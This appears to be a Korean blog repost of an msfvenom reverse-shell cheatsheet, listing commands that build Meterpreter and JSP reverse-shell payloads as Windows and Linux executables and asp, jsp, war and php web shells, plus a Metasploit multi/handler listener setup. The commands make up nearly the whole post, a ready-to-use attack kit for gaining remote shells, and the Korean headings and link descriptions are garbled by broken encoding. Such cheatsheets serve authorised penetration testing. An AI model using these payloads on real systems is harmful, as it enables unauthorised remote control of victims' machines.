์ถ์ฒ:
https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter)
Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n…
infinitelogins.com
์๋์ฐ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
๋ฆฌ๋ ์ค
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
์น
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
meterpreter
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
์ฌ์ฉ ๋ฐฉ๋ฒ ์ฐธ๊ณ :
https://security-child.tistory.com/34
Metasploit-msfvenom๋ก ์ธํ ๊ธฐ๋ณธ ์ ์ฑ ์คํํ์ผ ์ ์
Msfvenom Metasploit Framework ์์ ์ ์ฉํ ๋๊ตฌ์ธ msfpayload, msfencode ๋ฑ ์ฌ๋ฌ ๋๊ตฌ๊ฐ ํฌํจ๋์ด ์๋๋ฐ msfvenom์ ๋ชจ๋ ๊ธฐ๋ฅ์ ์งํฉํ ๋จ์ผ ๋๊ตฌ์ ๊ฒฐํฉ์ ํ์ฌ ํ์ค ์ฝ๋๋ก exploit ์คํ ํ์ผ ๋ฐ ์ ์ฑ ์ ์ฝ๋
security-child.tistory.com
https://johyungen.tistory.com/139
meterpreter๋ฅผ ์ด์ฉํ Reverse_TCP ๊ณต๊ฒฉ (msfvenom)
*meterpreter๋ฅผ ์ด์ฉํ Reverse_TCP ๊ณต๊ฒฉ bind_TCP : ํ๊ฒ์ด ๊ณต์ธIP๋ก ๋์ด์๋ ๊ฒฝ์ฐ์(์๋ฒ) Attacker๊ฐ ํด๋น ํ๊ฒ์ ๋ถ๋ ๊ฒ reverse_TCP : ํ๊ฒ์ด ์ฌ์คIP๋ก ๋์ด์๋ ๊ฒฝ์ฐ์(PC) Attacker๊ฐ ํญ์ ๊ตฌ๋์ค์ธ ์ํ์
johyungen.tistory.com